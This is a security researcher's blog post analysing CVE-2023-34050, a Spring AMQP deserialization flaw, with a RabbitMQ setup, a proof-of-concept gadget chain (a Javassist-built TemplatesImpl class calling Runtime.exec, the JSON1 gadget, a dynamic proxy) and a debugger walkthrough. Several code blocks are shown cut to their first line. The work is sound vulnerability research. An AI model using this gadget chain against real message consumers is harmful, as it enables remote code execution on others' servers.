CVE-2023-34050 Spring AMQP Deserialization Remote Code Execution
Preface
After analyzing Spring Kafka deserialization vulnerability, I received another piece of threat intellegence information. According to VMware official security bulletin, it implies that this vulnerability poses a serious threat to Spring AMQP component with particular incorrect configurations.
Admittedly, the Java Message Services (JMS) are exposed to evolutive deserialization vulnerabilities again. Actually, in the Black Hat US 2016, @Matthias Kaiser had talked about the deserialization vulnerabilities in Java Message Service.
It has been a long time since the talk occured. The deserialization vulnerability is still alive among JMS components, and thus I even second-guess vulnerability descriptions in newsletters. That was the reason why I wrote another blog Java Deserialization Vulnerability is Still Alive after diving into the source code. You could read the blogs I had posted previously.
Now I would like to talk about the newest one and figure out what contributes to the vulnerability.
In accordance with the official security descriptions, a few crucial clues could be summarized, like SimpleMessageConver
or SerializerMessageConverter
is used, allowedList
is not configured.
Looking through the basic concepts would make you aware how the RabbitMQ server works.
The producers generate messages, like JSON formated, and send them to the RabbitMQ server. Two fundamental portions exchange
and queue
consist of RabbitMQ server. The exchanges
play a role of router, because they transfer the messages to the specified queues
exactly. Then the message in queues
await consumptions from consumer side.
Preparation
- Install RabbitMQ Server with docker
1 | docker run --name rabbitmq -d -p 15672:15672 -p 5672:5672 rabbitmq:management |
Add related dependencies
You also could use the parent repository and thus the related dependencies would be loaded automatically.
1 | <parent> |
Update configuration
Both the configuration of producer and consumer have been updated.
- Simple Demonstration
- Producer
1 | public class ProducerSimpleApplication { |
- Consumer
According to the information of VMware security bulletin. @RabbitListener
should be used. The concise code fragment like this.
1 | @Component |
Log in Rabbit Server web console, you would verify whether the message has been written into the queue.
At consumer server side, the message would be received on producer server starting.
PoC Construction
- Remove this line in
BaseJsonNode.java
in order to provoke JSON message deserialization withJSON1
gadget successfully.
1 | Object writeReplace() {return NodeSerialization.from(this);} |
Leverage Javasist Tool to replace the byte codes in Java class and modify the attributes of the class.
1
2
3
4
5
6
7
8
9
10
11TemplatesImpl templatesImpl = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("com.demo.EvilTemplatesImpl");
CtClass clazz = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
cc.setSuperclass(clazz);
String cmd = "open -a calculator";
CtConstructor constructor = CtNewConstructor.make("public exec(){Runtime.getRuntime().exec(\""+ cmd +"\");}", cc);
cc.addConstructor(constructor);
setFieldValue(templatesImpl, "_name", "foo");
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{cc.toBytecode()});
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());Utilize Dynamic Proxy Class to make sure the
JSON1
could be triggered steadily.
1 | Class<?> cls = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy"); |
- Ensure the deserialized data stream has been stored in the queue of RabbitMQ server.
- Get the Consumer started with listening to the new messages from Java message sercive. You would see what you look forward to.
Code Analysis
- Set up a breakpoint at
fromMessage
function ofSimpleMessageConverter
class in consumer side
Step into deserialize
function.
ObjectInputStream
function is overwritten, and thus it flows into resolveClass
function the next step.
Step into the checkAllowedList
function to figure out the checking logic. Source codes tell us trustworthy java classes could be added to the white list.
Due to the vulnerability description, I did not configure any patterns in allowed list.
Next flow is to use the specified ClassLoader to resolve local classes
After basically checking a series of java classes included in JSON1
gadget, the malicious object would be deserialized. The toString
function provoked in Jackson library leads to the remote code execution.